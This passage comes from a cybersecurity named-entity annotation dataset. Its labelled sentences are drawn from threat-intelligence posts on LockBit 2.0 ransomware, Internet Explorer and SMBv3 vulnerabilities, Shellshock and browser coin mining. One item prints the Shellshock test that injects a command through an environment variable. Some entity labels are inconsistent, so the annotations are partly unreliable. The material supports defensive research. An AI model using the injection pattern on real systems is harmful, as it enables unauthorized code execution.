+{"id":2674,"text":"The graph below demonstrates that at the end of FY 2021, threat actors using LockBit 2.0 were much more open to negotiations of ransom amounts; during that time the ransom was dropped approximately 83% from the initial ask on average.","entities":[{"id":47875,"label":"TIME","start_offset":48,"end_offset":55},{"id":47876,"label":"threat-actor","start_offset":77,"end_offset":88}],"relations":[],"Comments":[]} +{"id":2675,"text":"In comparison, we see less flexibility in FY 2022 Q1 and Q3 – threat actors only offered an average of about 30% as a price drop.","entities":[{"id":47877,"label":"TIME","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]} +{"id":2676,"text":"FY 2022 Q2 is not included due to lack of sufficient information.","entities":[{"id":47878,"label":"TIME","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]} +{"id":2677,"text":" Technically speaking, we have observed LockBit 2.0 affiliates leveraging the following tactics, techniques and procedures: Windows SysInternals PsExec has been utilized for both persistence and execution purposes.","entities":[{"id":47880,"label":"threat-actor","start_offset":40,"end_offset":51},{"id":47879,"label":"tools","start_offset":125,"end_offset":152}],"relations":[{"id":365,"from_id":47880,"to_id":47879,"type":"uses"}],"Comments":[]} +{"id":2678,"text":"Its ability to execute processes on other systems spread the ransomware and assisted in reconnaissance activities.","entities":[],"relations":[],"Comments":[]} +{"id":2679,"text":" LockBit 2.0 was developed using the Assembly and Origin C programming languages and leverages advanced encryption standard (AES) and elliptic-curve cryptography (ECC) algorithms to encrypt victim data.","entities":[{"id":47881,"label":"threat-actor","start_offset":2,"end_offset":13}],"relations":[],"Comments":[]} +{"id":2680,"text":"It can affect both Windows and Linux OS, as the operator released a Linux version of LockBit 2.0 to target VMware ESXi hypervisor systems in October 2021, coded exclusively in the C programming language.","entities":[{"id":47882,"label":"SOFTWARE","start_offset":19,"end_offset":26},{"id":47883,"label":"SOFTWARE","start_offset":31,"end_offset":39},{"id":47884,"label":"SOFTWARE","start_offset":68,"end_offset":73},{"id":47886,"label":"SOFTWARE","start_offset":107,"end_offset":118},{"id":47887,"label":"TIME","start_offset":141,"end_offset":153},{"id":47885,"label":"threat-actor","start_offset":85,"end_offset":97}],"relations":[],"Comments":[]} +{"id":2681,"text":" The LockBit group claimed that LockBit 2.0 is “the fastest encryption software all over the world” and provided a comparative table showing the encryption speed of various ransomware samples. LockBit 2.0 also contains a self-spreading feature, clears logs and can print the ransom note on network printers until the paper runs out. A management panel that affiliates can use to manage victims and affiliate accounts, generate new ransomware builds and generate the decryptor if the demanded ransom is paid also exists.","entities":[{"id":47888,"label":"threat-actor","start_offset":5,"end_offset":12},{"id":47889,"label":"malware","start_offset":32,"end_offset":43},{"id":47890,"label":"threat-actor","start_offset":194,"end_offset":205}],"relations":[{"id":367,"from_id":47889,"to_id":47888,"type":"authored-by"}],"Comments":[]} +{"id":2682,"text":"LockBit 2.0 operators also released an information-stealer dubbed StealBit, which was developed to support affiliates of the LockBit 2.0 RaaS when exfiltrating data from breached companies.","entities":[{"id":45655,"label":"malware","start_offset":66,"end_offset":74},{"id":45654,"label":"threat-actor","start_offset":0,"end_offset":11},{"id":45656,"label":"threat-actor","start_offset":125,"end_offset":136}],"relations":[{"id":111,"from_id":45655,"to_id":45654,"type":"authored-by"}],"Comments":[]} +{"id":2683,"text":" StealBit contains the following capabilities:","entities":[{"id":47891,"label":"malware","start_offset":1,"end_offset":9}],"relations":[],"Comments":[]} +{"id":2684,"text":" The operator of LockBit 2.0 has provided a comparative table speed showing the information stealer compared to other tools.","entities":[{"id":47892,"label":"threat-actor","start_offset":17,"end_offset":28},{"id":47893,"label":"attack-pattern","start_offset":80,"end_offset":99}],"relations":[],"Comments":[]} +{"id":2685,"text":" There was a bug that existed in LockBit 2.0 that allowed researchers to revert the encryption process on an MSSQL database.","entities":[{"id":47894,"label":"SOFTWARE","start_offset":109,"end_offset":114},{"id":45657,"label":"threat-actor","start_offset":32,"end_offset":44}],"relations":[],"Comments":[]} +{"id":2686,"text":"After the bug’s disclosure, LockBit forum members discussed how the bug will not exist in LockBit’s next iteration.","entities":[{"id":47895,"label":"threat-actor","start_offset":28,"end_offset":49},{"id":8199,"label":"malware","start_offset":90,"end_offset":97}],"relations":[],"Comments":[]} +{"id":2687,"text":"Moreover, on March 17, LockBit forum members mentioned the release of LockBit’s next version in one or two weeks.","entities":[{"id":47896,"label":"TIME","start_offset":13,"end_offset":21},{"id":8201,"label":"malware","start_offset":23,"end_offset":30},{"id":8202,"label":"malware","start_offset":70,"end_offset":77}],"relations":[],"Comments":[]} +{"id":2688,"text":"On March 25, VX underground posted a tweet with details of this new version, dubbed LockBit Black.","entities":[{"id":45658,"label":"identity","start_offset":13,"end_offset":27},{"id":45659,"label":"TIME","start_offset":3,"end_offset":11},{"id":45661,"label":"malware","start_offset":84,"end_offset":97}],"relations":[],"Comments":[]} +{"id":2689,"text":" Several adversarial techniques were observed in this activity and the following measures are suggested within Palo Alto Networks products and services to ensure mitigation of threats related to LockBit 2.0 ransomware, as well as other malware using similar techniques: Exploit Public-Facing Application [T1190], Command and Scripting Interpreter [T1059], Local Account [T1136.001], Web Shell [T1505.003], Exploitation for Privilege Escalation [T1068], Indicator Removal on Host [T1070], Deobfuscate\/Decode Files or Information [T1140], Disable or Modify Tools [T1562.001], Hidden Window [T1564.003], Valid Accounts [T1078], External Remote Services [T1133], Scheduled Task [T1053.005], Bypass User Account Control [T1548.002], Group Policy Modification [T1484.001] OS Credential Dumping [T1003], Credentials from Password Stores [T1555] Network Service Scanning [T1046], Process Discovery [T1057], System Location Discovery [T1614], System Information Discovery [T1082] Remote Services [T1021], SMB\/Windows Admin Shares [T1021.002] Remote Access Software [T1219] Data Transfer Size Limits [T1030], Exfiltration Over C2 Channel [T1041] Data Encrypted for Impact [T1486], Service Stop [T1489] †These capabilities are part of the NGFW security subscriptions service","entities":[{"id":47897,"label":"identity","start_offset":111,"end_offset":129},{"id":47898,"label":"threat-actor","start_offset":195,"end_offset":206},{"id":47899,"label":"attack-pattern","start_offset":271,"end_offset":312},{"id":47901,"label":"attack-pattern","start_offset":357,"end_offset":382},{"id":47910,"label":"attack-pattern","start_offset":729,"end_offset":766},{"id":47911,"label":"attack-pattern","start_offset":799,"end_offset":839},{"id":47913,"label":"attack-pattern","start_offset":875,"end_offset":900},{"id":47914,"label":"attack-pattern","start_offset":937,"end_offset":973},{"id":47915,"label":"attack-pattern","start_offset":975,"end_offset":998},{"id":47918,"label":"attack-pattern","start_offset":1105,"end_offset":1141},{"id":47919,"label":"attack-pattern","start_offset":1143,"end_offset":1176},{"id":47922,"label":"attack-pattern","start_offset":902,"end_offset":935},{"id":47923,"label":"attack-pattern","start_offset":1038,"end_offset":1068},{"id":47924,"label":"attack-pattern","start_offset":1178,"end_offset":1198},{"id":47900,"label":"attack-pattern","start_offset":314,"end_offset":355},{"id":47902,"label":"attack-pattern","start_offset":407,"end_offset":452},{"id":47903,"label":"attack-pattern","start_offset":454,"end_offset":487},{"id":47904,"label":"attack-pattern","start_offset":538,"end_offset":573},{"id":47905,"label":"attack-pattern","start_offset":575,"end_offset":600},{"id":47906,"label":"attack-pattern","start_offset":602,"end_offset":624},{"id":47907,"label":"attack-pattern","start_offset":626,"end_offset":658},{"id":47908,"label":"attack-pattern","start_offset":660,"end_offset":686},{"id":47909,"label":"attack-pattern","start_offset":688,"end_offset":727},{"id":47912,"label":"attack-pattern","start_offset":841,"end_offset":873},{"id":47916,"label":"attack-pattern","start_offset":1000,"end_offset":1036},{"id":47917,"label":"attack-pattern","start_offset":1070,"end_offset":1103},{"id":47920,"label":"attack-pattern","start_offset":384,"end_offset":405},{"id":47921,"label":"attack-pattern","start_offset":489,"end_offset":536},{"id":47925,"label":"attack-pattern","start_offset":768,"end_offset":797}],"relations":[],"Comments":[]} +{"id":2690,"text":"Note: This is not an all-inclusive list of the protections provided by Palo Alto Networks.","entities":[{"id":8237,"label":"identity","start_offset":71,"end_offset":89}],"relations":[],"Comments":[]} +{"id":2691,"text":"This is a subset of our current Courses of Action initiative and will be updated as the project progresses.","entities":[],"relations":[],"Comments":[]} +{"id":2692,"text":" LockBit 2.0 and its evolution over time is a perfect example to illustrate the persistence, increasing complexity and impact brought by the ransomware landscape as a whole.","entities":[{"id":47926,"label":"attack-pattern","start_offset":2,"end_offset":13}],"relations":[],"Comments":[]} +{"id":2693,"text":"With claims of this RaaS offering the fastest encryption on the ransomware market, coupled with the fact that it has been delivered in high volume by experienced affiliates, this RaaS poses a significant threat.","entities":[],"relations":[],"Comments":[]} +{"id":2694,"text":"LockBit’s continuation with operations and its next iteration coming up on the horizon means that organizations and their security teams need to stay vigilant in the ever-evolving threat landscape.","entities":[{"id":47927,"label":"threat-actor","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]} +{"id":2695,"text":"Palo Alto Networks detects and prevents LockBit 2.0 ransomware in the following ways:","entities":[{"id":47928,"label":"identity","start_offset":0,"end_offset":18},{"id":47929,"label":"threat-actor","start_offset":40,"end_offset":51}],"relations":[],"Comments":[]} +{"id":2696,"text":" If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.","entities":[{"id":47932,"label":"identity","start_offset":248,"end_offset":269},{"id":47930,"label":"identity","start_offset":92,"end_offset":99},{"id":47931,"label":"identity","start_offset":133,"end_offset":151}],"relations":[],"Comments":[]} +{"id":2697,"text":"CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.","entities":[{"id":45663,"label":"identity","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]} +{"id":2698,"text":"Learn more about the Cyber Threat Alliance.","entities":[{"id":47933,"label":"identity","start_offset":21,"end_offset":42}],"relations":[],"Comments":[]} +{"id":2699,"text":" In August 2021, a Russian blogger published a 22-minute interview with an alleged representative of the group behind LockBit 2.0 called “LockBitSupp” on a YouTube channel called “Russian-language open source intelligence (OSINT).”","entities":[{"id":47935,"label":"location","start_offset":18,"end_offset":26},{"id":47934,"label":"TIME","start_offset":4,"end_offset":15},{"id":47936,"label":"threat-actor","start_offset":118,"end_offset":129},{"id":47937,"label":"SOFTWARE","start_offset":156,"end_offset":163}],"relations":[],"Comments":[]} +{"id":2700,"text":"The same Russian blogger previously published interviews with a representative of the group behind the REvil ransomware-as-a-service (RaaS), hackers and security experts.","entities":[{"id":47938,"label":"threat-actor","start_offset":103,"end_offset":108}],"relations":[],"Comments":[]} +{"id":2701,"text":" Some key takeaways from the claims made in the interview were: LockBit 3.0: Another Upgrade to the World’s Most Active Ransomware Ransomware Groups to Watch: Emerging Threats Average Ransom Payment Up 71% This Year, Approaches $1 Million 2022 Unit 42 Ransomware Threat Report Highlights Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[{"id":47939,"label":"threat-actor","start_offset":64,"end_offset":75},{"id":47940,"label":"identity","start_offset":244,"end_offset":251}],"relations":[],"Comments":[]} +{"id":2702,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":2703,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":2704,"text":"On Saturday, Microsoft disclosed a critical vulnerability in Internet Explorer, CVE-2014-1776, affecting Internet Explorer versions 6 through 11.","entities":[{"id":47941,"label":"TIME","start_offset":3,"end_offset":11},{"id":47942,"label":"identity","start_offset":13,"end_offset":22},{"id":47944,"label":"vulnerability","start_offset":80,"end_offset":93},{"id":47945,"label":"SOFTWARE","start_offset":105,"end_offset":133},{"id":47943,"label":"SOFTWARE","start_offset":61,"end_offset":78}],"relations":[{"id":368,"from_id":47944,"to_id":47945,"type":"has"}],"Comments":[]} +{"id":2705,"text":"The vulnerability exists in the way that Internet Explorer accesses an object in memory that has been deleted or has not been properly allocated.","entities":[{"id":47946,"label":"SOFTWARE","start_offset":41,"end_offset":58}],"relations":[],"Comments":[]} +{"id":2706,"text":"The vulnerability allows an attacker to execute arbitrary code in the context of the current user within Internet Explorer.","entities":[{"id":47947,"label":"attack-pattern","start_offset":40,"end_offset":62},{"id":45668,"label":"SOFTWARE","start_offset":105,"end_offset":122}],"relations":[],"Comments":[]} +{"id":2707,"text":"This could be exploited with drive-by downloads or watering-hole attacks, and has been observed being used in attacks in the wild.","entities":[{"id":47948,"label":"attack-pattern","start_offset":51,"end_offset":72},{"id":47949,"label":"attack-pattern","start_offset":29,"end_offset":47}],"relations":[],"Comments":[]} +{"id":2708,"text":" The exploit code used in these attacks only targets IE versions 9, 10 and 11, but earlier versions are still vulnerable.","entities":[{"id":47950,"label":"SOFTWARE","start_offset":53,"end_offset":77}],"relations":[],"Comments":[]} +{"id":2709,"text":"As of this writing, Microsoft has not stated when a patch for the vulnerability will be available, but in its advisory the company provided multiple work-arounds.","entities":[{"id":45669,"label":"identity","start_offset":20,"end_offset":29}],"relations":[],"Comments":[]} +{"id":2710,"text":"Additionally, Windows XP systems running IE 6, 7 and 8 are also vulnerable, but will not receive a patch, as Microsoft no longer supports them.","entities":[{"id":47953,"label":"identity","start_offset":109,"end_offset":118},{"id":47951,"label":"SOFTWARE","start_offset":14,"end_offset":24},{"id":47952,"label":"SOFTWARE","start_offset":41,"end_offset":54}],"relations":[],"Comments":[]} +{"id":2711,"text":" It is always important to view this type of critical vulnerability in the larger context of the threat landscape.","entities":[],"relations":[],"Comments":[]} +{"id":2712,"text":"Attackers identify thousands of critical vulnerabilities in commonly used software each year, such as Internet Explorer.","entities":[{"id":45670,"label":"SOFTWARE","start_offset":102,"end_offset":119}],"relations":[],"Comments":[]} +{"id":2713,"text":"Once identified, they then craft a seemingly endless supply of exploits that leverage these vulnerabilities to deliver unknown malware and compromise networks and endpoints.","entities":[],"relations":[],"Comments":[]} +{"id":2714,"text":"Palo Alto Networks enterprise security platform is focused on providing an integrated approach to detecting and preventing advanced threats across each step in the attack kill-chain.","entities":[{"id":47954,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]} +{"id":2715,"text":"Bringing together our next-generation firewall – again a Gartner Magic Quadrant Leader – Threat Prevention, URL Filtering, WildFire, and Cyvera’s ability to prevent exploitation of unknown vulnerabilities will allow us to continue offering ground-breaking protection for our customers’ networks and endpoints, including Windows XP clients.","entities":[{"id":45672,"label":"SOFTWARE","start_offset":137,"end_offset":143},{"id":45671,"label":"SOFTWARE","start_offset":123,"end_offset":131},{"id":45673,"label":"SOFTWARE","start_offset":320,"end_offset":330}],"relations":[],"Comments":[]} +{"id":2716,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":2717,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":2718,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":2719,"text":"This post is also available in: 日本語 (Japanese) In March 2020 Microsoft released a security advisory, ADV200005 | Microsoft Guidance for Disabling SMBv3 Compression, for a new remote code execution (RCE) vulnerability.","entities":[{"id":47955,"label":"TIME","start_offset":56,"end_offset":66},{"id":47956,"label":"identity","start_offset":67,"end_offset":76},{"id":47958,"label":"SOFTWARE","start_offset":152,"end_offset":157},{"id":47960,"label":"attack-pattern","start_offset":181,"end_offset":208},{"id":47957,"label":"identity","start_offset":119,"end_offset":128}],"relations":[],"Comments":[]} +{"id":2720,"text":"Shortly after this advisory was released, Microsoft issued an out-of-band patch to protect affected users from CVE-2020-0796.","entities":[{"id":47962,"label":"vulnerability","start_offset":111,"end_offset":124},{"id":47961,"label":"identity","start_offset":42,"end_offset":51}],"relations":[],"Comments":[]} +{"id":2721,"text":" An out-of-band patch is typically released outside of the expected update period for a vendor.","entities":[],"relations":[],"Comments":[]} +{"id":2722,"text":" In this particular case, Microsoft is known to release updates on Patch Tuesday, which was two days prior to this out-of-band update.","entities":[{"id":47963,"label":"SOFTWARE","start_offset":26,"end_offset":35}],"relations":[],"Comments":[]} +{"id":2723,"text":" This vulnerability exists within the Microsoft Server Message Block 3.0 (SMBv3), specifically regarding malformed compression headers.","entities":[{"id":47964,"label":"SOFTWARE","start_offset":39,"end_offset":81}],"relations":[],"Comments":[]} +{"id":2724,"text":"Compression headers are a feature that was added to SMBv3 negotiate context request packets in May 2019.","entities":[{"id":45675,"label":"TIME","start_offset":95,"end_offset":103},{"id":45674,"label":"SOFTWARE","start_offset":52,"end_offset":57}],"relations":[],"Comments":[]} +{"id":2725,"text":"For successful unauthenticated exploitation an attacker would need to craft a SMBv3 packet that contains the malformed compression header to a vulnerable SMBv3 Server.","entities":[{"id":47967,"label":"attack-pattern","start_offset":15,"end_offset":43},{"id":47965,"label":"SOFTWARE","start_offset":154,"end_offset":166},{"id":47966,"label":"SOFTWARE","start_offset":78,"end_offset":83}],"relations":[],"Comments":[]} +{"id":2726,"text":" For SMBv3 clients would require enticing a user to connect to a compromised SMBv3 server that they control.","entities":[{"id":47968,"label":"SOFTWARE","start_offset":5,"end_offset":10},{"id":47969,"label":"SOFTWARE","start_offset":77,"end_offset":82}],"relations":[],"Comments":[]} +{"id":2727,"text":"At the time of release, Microsoft affirmed that they had not yet seen the vulnerability exploited in the wild (ITW).","entities":[{"id":45676,"label":"identity","start_offset":24,"end_offset":33}],"relations":[],"Comments":[]} +{"id":2728,"text":" This vulnerability only affects SMBv3 and the following builds of the Microsoft Windows operating system (OS): Review the workaround guidance provided by the Microsoft Security Vulnerability.","entities":[{"id":47970,"label":"SOFTWARE","start_offset":33,"end_offset":38},{"id":47971,"label":"SOFTWARE","start_offset":71,"end_offset":110},{"id":47972,"label":"identity","start_offset":160,"end_offset":192}],"relations":[],"Comments":[]} +{"id":2729,"text":"As always, we recommend our customers patch their systems as soon as possible.","entities":[],"relations":[],"Comments":[]} +{"id":2730,"text":"Upgrade Cortex XDR and Traps agents for protection against this vulnerability regardless of whether your systems have installed the relevant security update from Microsoft.","entities":[{"id":45677,"label":"SOFTWARE","start_offset":8,"end_offset":18},{"id":45678,"label":"identity","start_offset":162,"end_offset":171}],"relations":[],"Comments":[]} +{"id":2731,"text":"For client mitigation, recommend creating an outbound firewall rule to block SMB outbound on public and private interfaces.","entities":[{"id":47973,"label":"SOFTWARE","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]} +{"id":2732,"text":" Palo Alto Networks Cortex XDR and Traps provide protection against this vulnerability regardless of whether they are running on an unpatched instance of Microsoft Windows 10.","entities":[{"id":47974,"label":"SOFTWARE","start_offset":158,"end_offset":178},{"id":8365,"label":"identity","start_offset":5,"end_offset":23},{"id":8366,"label":"tools","start_offset":24,"end_offset":34}],"relations":[],"Comments":[]} +{"id":2733,"text":"Additionally, Palo Alto Networks offers multiple, additional complementary protections for this exploit.","entities":[{"id":45679,"label":"identity","start_offset":14,"end_offset":32}],"relations":[],"Comments":[]} +{"id":2734,"text":"As a member of the Microsoft Active Protections Program (MAPP) program, Palo Alto Networks received early details of the vulnerability, providing greater understanding of the threat, which helps us implement strong product coverage.","entities":[{"id":47975,"label":"identity","start_offset":72,"end_offset":90},{"id":47976,"label":"identity","start_offset":19,"end_offset":62}],"relations":[],"Comments":[]} +{"id":2735,"text":"As always, we recommend keeping your Microsoft products up to date with the latest patches to mitigate this vulnerability.","entities":[{"id":47977,"label":"identity","start_offset":37,"end_offset":46}],"relations":[],"Comments":[]} +{"id":2736,"text":" Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.","entities":[{"id":45680,"label":"identity","start_offset":1,"end_offset":19}],"relations":[],"Comments":[]} +{"id":2737,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":2738,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":2739,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":2740,"text":"This post is also available in: 日本語 (Japanese) Around 6:00 am PST on September 24, the details of a vulnerability in the widely used Bourne Again Shell (Bash) were disclosed by multiple Linux vendors.","entities":[{"id":47978,"label":"TIME","start_offset":60,"end_offset":87},{"id":47979,"label":"SOFTWARE","start_offset":192,"end_offset":197},{"id":47980,"label":"SOFTWARE","start_offset":139,"end_offset":164}],"relations":[],"Comments":[]} +{"id":2741,"text":"The vulnerability, assigned CVE-2014-6271 by Mitre, was originally discovered by Stephane Chazelas, a Unix and Linux network and telecom administrator and IT manager at UK robotics company SeeByte, Ltd. ","entities":[{"id":47982,"label":"identity","start_offset":45,"end_offset":50},{"id":47984,"label":"SOFTWARE","start_offset":102,"end_offset":106},{"id":47981,"label":"vulnerability","start_offset":28,"end_offset":41},{"id":47983,"label":"identity","start_offset":81,"end_offset":98},{"id":47986,"label":"identity","start_offset":169,"end_offset":201},{"id":47985,"label":"SOFTWARE","start_offset":111,"end_offset":116}],"relations":[],"Comments":[]} +{"id":2742,"text":"While this vulnerability didn’t come with quite the fanfare or a catchy name like Heartbleed, the security community quickly dubbed it “Shellshock.”","entities":[{"id":45681,"label":"vulnerability","start_offset":82,"end_offset":92},{"id":45682,"label":"vulnerability","start_offset":136,"end_offset":146}],"relations":[],"Comments":[]} +{"id":2743,"text":"Bash is present in most Linux and Unix distributions as well as Apple’s Mac OS X, and there’s a good chance anyone reading this has a system they need to patch.","entities":[{"id":47988,"label":"SOFTWARE","start_offset":34,"end_offset":38},{"id":47987,"label":"SOFTWARE","start_offset":24,"end_offset":29},{"id":47989,"label":"SOFTWARE","start_offset":64,"end_offset":80}],"relations":[],"Comments":[]} +{"id":2744,"text":" Palo Alto Networks initiated an emergency IPS content release to detect this vulnerability last night with Signature ID: 36729 \"Bash Remote Code Execution Vulnerability.” ","entities":[{"id":47990,"label":"identity","start_offset":1,"end_offset":19},{"id":47991,"label":"vulnerability","start_offset":129,"end_offset":169}],"relations":[],"Comments":[]} +{"id":2745,"text":"All versions of PAN-OS and Panorama include the vulnerable version of Bash, but we’ve determined the issue is only exploitable by authenticated users.","entities":[{"id":45683,"label":"SOFTWARE","start_offset":16,"end_offset":22},{"id":45684,"label":"SOFTWARE","start_offset":27,"end_offset":35},{"id":45685,"label":"SOFTWARE","start_offset":70,"end_offset":75}],"relations":[],"Comments":[]} +{"id":2746,"text":"Normal PAN-OS maintenance release updates will provide a fix for the vulnerability.","entities":[{"id":47992,"label":"SOFTWARE","start_offset":7,"end_offset":13}],"relations":[],"Comments":[]} +{"id":2747,"text":"We have posted the advisory on our product vulnerability page.","entities":[],"relations":[],"Comments":[]} +{"id":2748,"text":"Read on for more details.","entities":[],"relations":[],"Comments":[]} +{"id":2749,"text":" Vulnerability Details CVE-2014-6271 exists in all versions of Bash and is related to how environment variables are processed when the shell starts up.","entities":[{"id":47993,"label":"vulnerability","start_offset":24,"end_offset":37},{"id":47994,"label":"tools","start_offset":64,"end_offset":68}],"relations":[{"id":369,"from_id":47994,"to_id":47993,"type":"has"}],"Comments":[]} +{"id":2750,"text":"Environment variables are used by shell software to store pieces of information like the location of the user’s home directory.","entities":[],"relations":[],"Comments":[]} +{"id":2751,"text":"In addition to storing variables, Bash allows for storing shell functions in variables that users can call later.","entities":[{"id":45686,"label":"SOFTWARE","start_offset":34,"end_offset":38}],"relations":[],"Comments":[]} +{"id":2752,"text":"It’s in parsing these functions that the new Bash vulnerability exists, as the shell mistakenly executes code that is added after a function definition.","entities":[{"id":47995,"label":"tools","start_offset":45,"end_offset":49}],"relations":[],"Comments":[]} +{"id":2753,"text":"Here’s an example: $ env x='() { :;}; echo vulnerable'","entities":[],"relations":[],"Comments":[]} +{"id":2754,"text":"bash -c \"echo this is a test\"","entities":[],"relations":[],"Comments":[]} +{"id":2755,"text":" vulnerable this is a test ","entities":[],"relations":[],"Comments":[]} +{"id":2756,"text":"Bash should stop processing the environment variable “x” after the closing semicolon for the function, but instead continues to process “echo vulnerable”.","entities":[],"relations":[],"Comments":[]} +{"id":2757,"text":"At first glance, this might not seem too dangerous as executing commands is Bash’s primary function, but it’s important to understand that many other programs use Bash to process commands.","entities":[{"id":45687,"label":"SOFTWARE","start_offset":76,"end_offset":80},{"id":45688,"label":"SOFTWARE","start_offset":163,"end_offset":167}],"relations":[],"Comments":[]} +{"id":2758,"text":" While these two scenarios are currently the most-likely vectors for exploiting this vulnerability, it’s likely that other services use Bash in a network-exploitable way.","entities":[],"relations":[],"Comments":[]} +{"id":2759,"text":"The only way to fully prevent exploitation is to upgrade Bash on the system to a non-vulnerable version. Impact","entities":[],"relations":[],"Comments":[]} +{"id":2760,"text":"The good news is that this vulnerability was disclosed responsibly and patches are available for most platforms on the day of the public disclosure.","entities":[],"relations":[],"Comments":[]} +{"id":2761,"text":"The bad news is that this vulnerability is going to have a very long tail.","entities":[],"relations":[],"Comments":[]} +{"id":2762,"text":"Bash is the default shell for the most-popular Linux variants and every version of the software stretching back over two decades is vulnerable.","entities":[{"id":47996,"label":"SOFTWARE","start_offset":47,"end_offset":52}],"relations":[],"Comments":[]} +{"id":2763,"text":"Well-maintained systems will be patched today, but that dusty old system in the networking closet might never get the update.","entities":[],"relations":[],"Comments":[]} +{"id":2764,"text":"Additionally, network devices, embedded systems and Internet-connected devices (like IP Cameras) often run Linux and could be vulnerable.","entities":[],"relations":[],"Comments":[]} +{"id":2765,"text":" Fortunately, not every system is remotely exploitable simply because it’s running Bash, it also needs to be running an application which makes Bash accessible over the network.","entities":[{"id":47998,"label":"tools","start_offset":144,"end_offset":148},{"id":47997,"label":"tools","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]} +{"id":2766,"text":"As described above, the most-common exploit scenario seems like it will be web servers running Apache and using CGI scripts.","entities":[{"id":45689,"label":"SOFTWARE","start_offset":95,"end_offset":101},{"id":45690,"label":"SOFTWARE","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]} +{"id":2767,"text":"Web servers are great resources for attackers.","entities":[],"relations":[],"Comments":[]} +{"id":2768,"text":"They can be used to: These are all likely outcomes from mass scanning of the Internet for vulnerable hosts, which are already underway.","entities":[],"relations":[],"Comments":[]} +{"id":2769,"text":" Recommendations Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":2770,"text":" Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":2771,"text":"On January 2, 2017, one Bitcoin was worth US $985.56.","entities":[{"id":47999,"label":"TIME","start_offset":3,"end_offset":18},{"id":48000,"label":"SOFTWARE","start_offset":24,"end_offset":31}],"relations":[],"Comments":[]} +{"id":2772,"text":" By October 16, 2017, that same Bitcoin was worth US $ 5,707.40: a 579% increase in value in ten and a half months.","entities":[{"id":45691,"label":"TIME","start_offset":4,"end_offset":20},{"id":45692,"label":"SOFTWARE","start_offset":32,"end_offset":39}],"relations":[],"Comments":[]} +{"id":2773,"text":" By comparison, Ethereum has gone from US $8.15 per ether on January 2, 2017 to US $342.83 per ether on October 16, 2017: a jump of 4,206%. Cryptocurrencies are big money these days and seemingly getting bigger by the day. And if we’ve learned one thing about cybercriminals, they follow the money.","entities":[{"id":48001,"label":"TIME","start_offset":61,"end_offset":76},{"id":48002,"label":"TIME","start_offset":104,"end_offset":120},{"id":48003,"label":"SOFTWARE","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]} +{"id":2774,"text":" So, it’s not surprising to see that cybercrime is turning its attention to cryptocurrencies.","entities":[],"relations":[],"Comments":[]} +{"id":2775,"text":" In our latest research, “Unauthorized Coin Mining in the Browser”, Unit 42 researchers show how cybercriminals have taken an old tactic, hijacking web browsers without the users consent or knowledge (commonly called a “drive -by attack”), and adapted it to make money in the increasingly lucrative cryptocurrencies markets.","entities":[{"id":48004,"label":"attack-pattern","start_offset":26,"end_offset":50},{"id":45693,"label":"identity","start_offset":68,"end_offset":75},{"id":45694,"label":"attack-pattern","start_offset":138,"end_offset":160},{"id":45696,"label":"attack-pattern","start_offset":220,"end_offset":236}],"relations":[],"Comments":[]} +{"id":2776,"text":"Before, drive-by attacks focused on abusing a browser’s legitimate download capabilities to download malware onto the victim’s system without their consent or knowledge.","entities":[{"id":48005,"label":"attack-pattern","start_offset":92,"end_offset":108}],"relations":[],"Comments":[]} +{"id":2777,"text":"These new drive-by attacks focus on hijacking the computational resources of the victim’s computer to “mine” cryptocurrency on behalf of the attackers.","entities":[{"id":48006,"label":"attack-pattern","start_offset":36,"end_offset":73}],"relations":[],"Comments":[]} +{"id":2778,"text":" The focus of these attacks is to use the victim’s web browser to access the computational resources of their system.","entities":[],"relations":[],"Comments":[]} +{"id":2779,"text":"The attackers accomplish this through abuse of a legitimate tool by placing it on malicious or compromised websites and running it in the victim’s browser without his or her consent or knowledge when they visit the site.","entities":[],"relations":[],"Comments":[]} +{"id":2780,"text":"The tool is designed to “mine” cryptocurrencies, that is it earns credit in the cryptocurrency in exchange for computing power that is used to power the cryptocurrencies’ digital infrastructure.","entities":[],"relations":[],"Comments":[]} +{"id":2781,"text":"This tool has a legitimate use: sites can and do notify users that they’re using the site visitors’ resources in this way to support the site, typically as a substitute for ads on the site.","entities":[],"relations":[],"Comments":[]} +{"id":2782,"text":"But in this case, the attacker actually gets the credit that the victim’s computational resources earns without the visitors’ consent or knowledge making it a malicious attack.","entities":[],"relations":[],"Comments":[]} +{"id":2783,"text":" Put simply, the net result is that the victim’s computer slows down (sometimes significantly) while on the malicious or compromised website.","entities":[],"relations":[],"Comments":[]} +{"id":2784,"text":"And while the computer is impacted like this, the attacker is earning money.","entities":[],"relations":[],"Comments":[]} +{"id":2785,"text":"The attacker steals the victims computing resources and translates it into a cryptocurrency like 